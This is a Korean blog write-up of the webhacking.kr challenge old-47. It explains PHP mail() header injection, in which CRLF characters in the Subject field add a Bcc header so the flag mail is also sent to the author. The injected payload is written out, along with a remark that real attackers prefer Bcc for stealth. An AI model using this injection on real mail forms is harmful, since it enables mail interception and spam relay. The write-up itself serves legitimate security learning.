
1. 문제 정보
- 문제 번호 : old -47
- 문제 점수 : 15점
- 문제 유형: PHP mail
2. 문제 분석
47번 문제에 들어가면 mail subject가 나오고 send 버튼을 누르면 mail has been sent가 나온다.

소스코드를 봐도 post요청을 하는거만 보인다.
<html>
<head>
<title>Challenge 47</title>
</head>
<body>
<form method=post name=mailfrm>
Mail subject : <input type=text name=subject size=50 value="Flag of webhacking.kr old-47 chall" maxlength=50><input type=submit value=send>
</form>
</pre>
</body>
</html>
3. 풀이
서버에서 동작을 생각해보면 post로 받은 subject를 받고 PHP에서 mail함수에 인자를 넣고 보낼 것이다.
PHP에서 주로 사용하는 메일 함수를 보자
mail(
string $to,
string $subject,
string $message,
array|string $additional_headers = [],
string $additional_params = ""
): bool
https://www.php.net/manual/en/function.mail.php 에서 자세한 내용이 확인 가능하다.
PHP: mail - Manual
Send mail
www.php.net
additional 해더로 'Bcc: birthdaycheck@example.com'; 를 보내면 참조가 가능하다.
그리고 mail함수는 SMTP를 호출한다.
이메일 전송 프로토콜(SMTP)은 헤더와 본문을 구분하기 위해 빈 줄(Empty Line) 하나를 구분자로 사용한다. 이 빈 줄은 기술적으로 \r\n\r\n (CRLF 두 번)으로 표현된다.
따라서 asd\r\n Bcc: birthdaycheck@example.com 을 보내면 birthdaycheck@example.com로 참조 메일로 삼아 메일이 간다.
+ 풀이에는 Cc(참조)나 Bcc(숨은 참조) 둘 다 상관없지만, 실제 공격자라면 원본 수신자에게 들키지 않기 위해 Bcc를 주로 사용한다고 한다.
아래 사진은 burp에서 http요청을 수정한 것이고

응답은 아래 사진과 같다

4. 요약
- PHP mail() 함수의 Subject 파라미터가 입력값 검증 없이 헤더 처리에 사용되는 헤더 인젝션(Header Injection) 취약점을 이용했다.
- 제목(Subject) 입력값에 개행 문자(%0D%0A, CRLF)를 삽입하여 강제로 줄을 바꾼 뒤, Cc 또는 Bcc 헤더를 추가하여 수신자를 조작했다.
- 이를 통해 서버가 원래 수신자에게 보내려던 플래그가 포함된 메일을 내 개인 이메일로도 발송되게 만들어 플래그를 획득했다.
'워게임 > webhacking.kr' 카테고리의 다른 글
| [webhacking.kr] old-36문제 (0) | 2026.01.27 |
|---|---|
| [webhacking.kr] old-42 문제 (0) | 2026.01.27 |
| [webhacking.kr] old-58 문제 (0) | 2026.01.26 |
| [webhacking.kr] old- 19문제 (0) | 2026.01.26 |
| [webhacking.kr] old-25 문제 (0) | 2026.01.26 |